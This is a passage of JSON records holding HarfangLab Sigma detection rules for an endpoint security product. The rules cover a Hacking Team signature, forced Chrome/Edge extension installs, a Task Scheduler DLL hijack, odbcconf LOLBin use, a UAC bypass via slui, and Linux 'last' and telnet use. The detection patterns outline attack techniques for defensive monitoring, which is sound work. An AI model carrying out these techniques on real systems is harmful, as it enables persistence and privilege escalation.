+  "rule_description": "Detects the loading of an image signed with Hacking Team's certificates.\nHackingTeam is an Italian information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.\nThis can be the sign of a malware using a fake signature to evade AV/EDR detection.\nIt is recommended to analyze the binary to search for malicious contents.\n",
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2025-01-21",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a6cace98-683f-4957-8835-f651ff11941e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089434Z",
+  "creation_date": "2026-03-23T11:45:34.089436Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089440Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bleepingcomputer.com/news/security/malware-force-installs-chrome-extensions-on-300-000-browsers-patches-dlls/",
+    "https://www.connectwise.com/blog/threat-report/smash-jacker",
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
+  "name": "t1176_malicious_chrome_extensions_forceinstall.yml",
+  "content": "title: Malicious Chrome-based Browser Extension Force-installed\nid: a6cace98-683f-4957-8835-f651ff11941e\ndescription: |\n    Detects a modification of the registry key used to force the installation of a known malicious extension in Chrome or Edge.\n    Adversaries may force the installation of a malicious extension by modifying the registry key, leading the browser to silently install a list of apps and extensions at startup, without user interaction, and which cannot be uninstalled nor disabled by the user.\n    It is recommended to check if the process modifying the registry key has legitimate reason to do it and if there is a legitimate reason to install this application.\nreferences:\n    - https://www.bleepingcomputer.com/news/security/malware-force-installs-chrome-extensions-on-300-000-browsers-patches-dlls/\n    - https://www.connectwise.com/blog/threat-report/smash-jacker\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2025/01/31\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject|contains:\n            - 'Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist'\n            - 'Software\\Policies\\Microsoft\\Edge\\ExtensionInstallForcelist'\n        Details: 'macjkjgieeoakdlmmfefgmldohgddpkj' # https://www.connectwise.com/blog/threat-report/smash-jacker\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a6cace98-683f-4957-8835-f651ff11941e",
+  "rule_name": "Malicious Chrome-based Browser Extension Force-installed",
+  "rule_description": "Detects a modification of the registry key used to force the installation of a known malicious extension in Chrome or Edge.\nAdversaries may force the installation of a malicious extension by modifying the registry key, leading the browser to silently install a list of apps and extensions at startup, without user interaction, and which cannot be uninstalled nor disabled by the user.\nIt is recommended to check if the process modifying the registry key has legitimate reason to do it and if there is a legitimate reason to install this application.\n",
+  "rule_creation_date": "2025-01-31",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a6ccbaf8-6950-4be8-ae16-ec21229b758f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095003Z",
+  "creation_date": "2026-03-23T11:45:34.095005Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095009Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/last.1.html",
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1087/001/",
+    "https://attack.mitre.org/techniques/T1069/001/"
+  ],
+  "name": "t1033_last_linux.yml",
+  "content": "title: Last Logged-in Users Discovered via Last (Linux)\nid: a6ccbaf8-6950-4be8-ae16-ec21229b758f\ndescription: |\n    Detects the execution of last, a tool used to gather the last session of users.\n    Adversaries may use it during the discovery phase of an attack to discover new users and their activity.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://man7.org/linux/man-pages/man1/last.1.html\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1087/001/\n    - https://attack.mitre.org/techniques/T1069/001/\ndate: 2023/12/15\nmodified: 2025/10/08\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1087.001\n    - attack.t1069.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/last'\n        CommandLine:\n            - 'last'\n            - 'lastb'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n        GrandparentImage|contains: '?'\n\n    # Exclude manual last launched from a terminal emulator\n    exclusion_terminal_emulators:\n        GrandparentCommandLine|endswith:\n            - '/gnome-terminal-server'\n            - '/terminator'\n            - '/xfce4-terminal'\n            - '/xterm'\n\n    exclusion_fusioninventory:\n        - ParentCommandLine|contains: 'fusioninventory-agent'\n        - GrandparentCommandLine|contains: 'fusioninventory-agent'\n\n    exclusion_ossec_logcollector:\n        - ParentImage: '/var/ossec/bin/ossec-logcollector'\n        - GrandparentImage: '/var/ossec/bin/ossec-logcollector'\n\n    exclusion_wazuh:\n        - ParentImage: '/var/ossec/bin/wazuh-logcollector'\n        - GrandparentImage|endswith: '/ossec/bin/wazuh-logcollector'\n\n    exclusion_zabbix:\n        GrandparentImage:\n            - '/usr/sbin/zabbix_agentd'\n            - '/usr/sbin/zabbix_agent2'\n\n    exclusion_mtxagent:\n        ParentImage|endswith: '/bmc-software/client-management/client/bin/mtxagent'\n\n    exclusion_ocsinventory:\n        - ParentCommandLine|startswith:\n            - '/usr/bin/perl */usr/bin/ocsinventory-agent'\n            - '/usr/bin/perl */usr/sbin/ocsinventory-agent'\n            - '/usr/bin/perl */usr/local/bin/ocsinventory-agent'\n        - GrandparentCommandLine|startswith:\n            - '/usr/bin/perl */usr/bin/ocsinventory-agent'\n            - '/usr/bin/perl */usr/sbin/ocsinventory-agent'\n            - '/usr/bin/perl */usr/local/bin/ocsinventory-agent'\n            - '/bin/bash /etc/cron.*/ocsinventory-agent'\n\n    exclusion_prodigeadmin:\n        GrandparentCommandLine|startswith: '/bin/bash /prodige/admin/prodigeadmin/.pgih-bootstrap/'\n\n    exclusion_glpi_agent:\n        - ParentCommandLine:\n            - 'glpi-agent: waiting'\n            - 'glpi-agent (tag *): *'\n            - '/usr/bin/perl /usr/bin/glpi-agent *'\n            - 'glpi-agent: running *'\n            - 'glpi-agent: task *'\n        - GrandparentCommandLine:\n            - 'glpi-agent: waiting'\n            - 'glpi-agent (tag *): *'\n            - '/usr/bin/perl /usr/bin/glpi-agent*'\n            - 'glpi-agent: running *'\n            - 'glpi-agent: task *'\n\n    exclusion_tanium:\n        - ParentCommandLine|startswith:\n            - '/bin/sh /opt/tanium/taniumclient/'\n            - '/bin/bash /opt/Tanium/TaniumClient/'\n        - ProcessAncestors|contains: '|/opt/Tanium/TaniumClient/TaniumClient'\n\n    exclusion_atempo:\n        ProcessGrandparentImage: '/opt/Atempo/HN/bin/HNagent'\n\n    exclusion_qualys:\n        - ProcessParentImage:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n        - ProcessGrandparentImage:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n        - ProcessAncestors|contains:\n            - '|/usr/local/qualys/cloud-agent/bin/qualys-scan-util|'\n            - '|/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent|'\n\n    exclusion_aemagent:\n        ProcessGrandparentImage: '/usr/local/share/CentraStage/AEMAgent/AEMAgent'\n\n    exclusion_run-parts:\n        ProcessGrandparentImage: '/usr/bin/run-parts'\n\n    exclusion_nable:\n        ProcessGrandparentImage: '/usr/sbin/nagent'\n        ProcessGrandparentCommandLine|contains: '/usr/sbin/nagent -f */nagent/nagent.conf'\n\n    exclusion_ansible:\n        CurrentDirectory: '/home/ansible/'\n        ProcessAncestors|contains: '|/usr/sbin/sshd|'\n\n    exclusion_sed:\n        ParentImage: '/usr/bin/sed'\n\n    exclusion_snmpd:\n        ParentImage: '/usr/sbin/snmpd'\n\n    # https://ciscat-assessor.docs.cisecurity.org/\n    exclusion_ciscat:\n        GrandparentImage|endswith: '/bin/java'\n        GrandparentCommandLine|contains: ' -jar Assessor-CLI.jar '\n\n    exclusion_nessus:\n        ProcessAncestors|contains:\n            - '|/opt/nessus_agent/sbin/nessusd|'\n            - '|/opt/nessus/sbin/nessusd|'\n\n    exclusion_sosreport:\n        GrandparentCommandLine|startswith:\n            - '/usr/bin/python* /sbin/sosreport'\n            - '/usr/bin/python* /usr/sbin/sosreport'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a6ccbaf8-6950-4be8-ae16-ec21229b758f",
+  "rule_name": "Last Logged-in Users Discovered via Last (Linux)",
+  "rule_description": "Detects the execution of last, a tool used to gather the last session of users.\nAdversaries may use it during the discovery phase of an attack to discover new users and their activity.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-10-08",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1069.001",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a6fc5220-9841-48e3-8d9e-6ef2f233f780",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088475Z",
+  "creation_date": "2026-03-23T11:45:34.088477Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088481Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.a12d404.net/windows/2019/10/30/schedsvc-persist-without-task.html"
+  ],
+  "name": "t1574_002_prepare_persistence_dll_hijack_task_scheduler_wptsextensions.yml",
+  "content": "title: Task Scheduler Service DLL Hijack Prepared\nid: a6fc5220-9841-48e3-8d9e-6ef2f233f780\ndescription: |\n    Detects the creation of a DLL named WptsExtensions.dll, which is loaded by the Task Scheduler service from multiple directories, a DLL which is therefore prone to DLL hijacking.\n    Adversaries may plant the DLL in a PATH folder in order to execute malicious code within the context of the scheduler service.\n    It is recommended to check the DLL for malicious content or purpose and to analyze the process responsible for its creation.\nreferences:\n    - https://www.a12d404.net/windows/2019/10/30/schedsvc-persist-without-task.html\ndate: 2020/09/28\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith: '\\WptsExtensions.dll'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a6fc5220-9841-48e3-8d9e-6ef2f233f780",
+  "rule_name": "Task Scheduler Service DLL Hijack Prepared",
+  "rule_description": "Detects the creation of a DLL named WptsExtensions.dll, which is loaded by the Task Scheduler service from multiple directories, a DLL which is therefore prone to DLL hijacking.\nAdversaries may plant the DLL in a PATH folder in order to execute malicious code within the context of the scheduler service.\nIt is recommended to check the DLL for malicious content or purpose and to analyze the process responsible for its creation.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a7400b79-0aa3-4d56-849c-cae54769dd2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088591Z",
+  "creation_date": "2026-03-23T11:45:34.088593Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088598Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
+    "https://attack.mitre.org/techniques/T1218/008/"
+  ],
+  "name": "t1218_odbcconf.yml",
+  "content": "title: Odbcconf.exe Execution\nid: a7400b79-0aa3-4d56-849c-cae54769dd2a\ndescription: |\n    Detects execution of legitimate \"odbcconf.exe\" Windows binary, a command-line tool that allows to configure ODBC drivers and data source names.\n    This binary can be used as a LOLBin in order to load malicious DLLs.\n    It is recommended to investigate the DLL loaded by \"odbcconf.exe\" as well as the parent process for suspicious activities.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/\n    - https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/\n    - https://attack.mitre.org/techniques/T1218/008/\ndate: 2022/06/30\nmodified: 2025/03/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.008\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Odbcconf\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'odbcconf.exe'\n        CommandLine|contains:\n            - ' /f '\n            - ' -f '\n            - ' /a '\n            - ' -a '\n\n    exclusion_sql:\n        CommandLine|contains:\n            - 'CONFIGSYSDSN ODBC Driver'\n            - 'CONFIGSYSDSN MySQL ODBC'\n            - 'CONFIGDSN SQL Server'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a7400b79-0aa3-4d56-849c-cae54769dd2a",
+  "rule_name": "Odbcconf.exe Execution",
+  "rule_description": "Detects execution of legitimate \"odbcconf.exe\" Windows binary, a command-line tool that allows to configure ODBC drivers and data source names.\nThis binary can be used as a LOLBin in order to load malicious DLLs.\nIt is recommended to investigate the DLL loaded by \"odbcconf.exe\" as well as the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-06-30",
+  "rule_modified_date": "2025-03-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a790c44e-924f-45f9-9524-04a2235c5441",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092575Z",
+  "creation_date": "2026-03-23T11:45:34.092579Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092586Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/local/bypassuac_sluihijack",
+    "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md#atomic-test-17---uacme-bypass-method-61"
+  ],
+  "name": "t1548_002_post_uac_bypass_slui.yml",
+  "content": "title: UAC Bypass Executed via slui\nid: a790c44e-924f-45f9-9524-04a2235c5441\ndescription: |\n    Detects an unusual process being spawned by slui.exe.\n    This alert can be indicative of a successful User Account Control Bypass and is the result of the execution of slui.exe after a registry modification.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on a system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate for suspicious registry modification by the process launching slui.exe near its execution and to look for other suspicious actions on the host.\nreferences:\n    - https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/local/bypassuac_sluihijack\n    - https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md#atomic-test-17---uacme-bypass-method-61\ndate: 2022/12/05\nmodified: 2025/05/02\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_parent_slui:\n        ParentImage|endswith: '\\slui.exe'\n\n    selection_parent_changepk:\n        GrandparentImage|endswith: '\\slui.exe'\n        ParentImage|endswith: '\\changepk.exe'\n\n    exclusion_slui_legitimate:\n        Image:\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe'\n            - '?:\\Program Files (x86)\\Internet Explorer\\iexplore.exe'\n            - '?:\\Program Files\\Internet Explorer\\iexplore.exe'\n            - '?:\\Program Files\\Mozilla Firefox\\firefox.exe'\n            - '?:\\Windows\\System32\\LicensingUI.exe'\n            - '?:\\Windows\\System32\\slui.exe'\n            - '?:\\Windows\\System32\\changepk.exe'\n            - '?:\\Windows\\System32\\phoneactivate.exe'\n\n    exclusion_changepk_legitimate:\n        Image: '?:\\Windows\\System32\\ClipUp.exe'\n\n    exclusion_common_werfault:\n        Image: '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: ((selection_parent_slui and not exclusion_slui_legitimate) or (selection_parent_changepk and not exclusion_changepk_legitimate)) and not 1 of exclusion_common_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a790c44e-924f-45f9-9524-04a2235c5441",
+  "rule_name": "UAC Bypass Executed via slui",
+  "rule_description": "Detects an unusual process being spawned by slui.exe.\nThis alert can be indicative of a successful User Account Control Bypass and is the result of the execution of slui.exe after a registry modification.\nAdversaries may bypass UAC mechanisms to elevate process privileges on a system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate for suspicious registry modification by the process launching slui.exe near its execution and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2022-12-05",
+  "rule_modified_date": "2025-05-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a7bd8bcc-8022-4b14-8b39-d2bbe5dcc6ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.484003Z",
+  "creation_date": "2026-03-23T11:45:34.088536Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088541Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1046/",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/techniques/T1095/",
+    "https://attack.mitre.org/techniques/T1021/",
+    "https://gtfobins.github.io/gtfobins/telnet/"
+  ],
+  "name": "t1046_telnet_linux.yml",
+  "content": "title: Telnet Execution\nid: a7bd8bcc-8022-4b14-8b39-d2bbe5dcc6ac\ndescription: |\n    Detects the execution of a Telnet client, a networking protocol that reads and writes data as cleartext across network connections.\n    Telnet is an insecure protocol and is used by attackers for discovery, usually by banner-grabbing different ports and spoofing logins.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1046/\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/techniques/T1095/\n    - https://attack.mitre.org/techniques/T1021/\n    - https://gtfobins.github.io/gtfobins/telnet/\ndate: 2023/01/03\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - attack.t1049\n    - attack.command_and_control\n    - attack.t1095\n    - attack.lateral_movement\n    - attack.t1021\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.telnet\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/telnet.netkit'\n            - '/telnet'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/sbin/crond|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/opt/oneautomation/*/smgr/bin/ucybsmgr|'\n\n    exclusion_commandline:\n        - ParentCommandLine: '/bin/ksh /opt/application/*.sh *'\n        - GrandparentCommandLine:\n            - '/bin/bash /usr/local/scripts/*.sh'\n            - '/bin/bash /opt/application/*.ksh *'\n\n    exclusion_rancid:\n        - CurrentDirectory|startswith: '/usr/local/rancid/'\n          ProcessCommandLine|startswith: 'telnet -K '\n        - Ancestors|contains: '|/usr/local/rancid/bin/par|'\n\n    # template_exclusion_ansible\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a7bd8bcc-8022-4b14-8b39-d2bbe5dcc6ac",
+  "rule_name": "Telnet Execution",
+  "rule_description": "Detects the execution of a Telnet client, a networking protocol that reads and writes data as cleartext across network connections.\nTelnet is an insecure protocol and is used by attackers for discovery, usually by banner-grabbing different ports and spoofing logins.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021",
+    "attack.t1046",
+    "attack.t1049",
+    "attack.t1095"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a81d1443-7fa0-450c-b4f2-b2ecffec3fb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
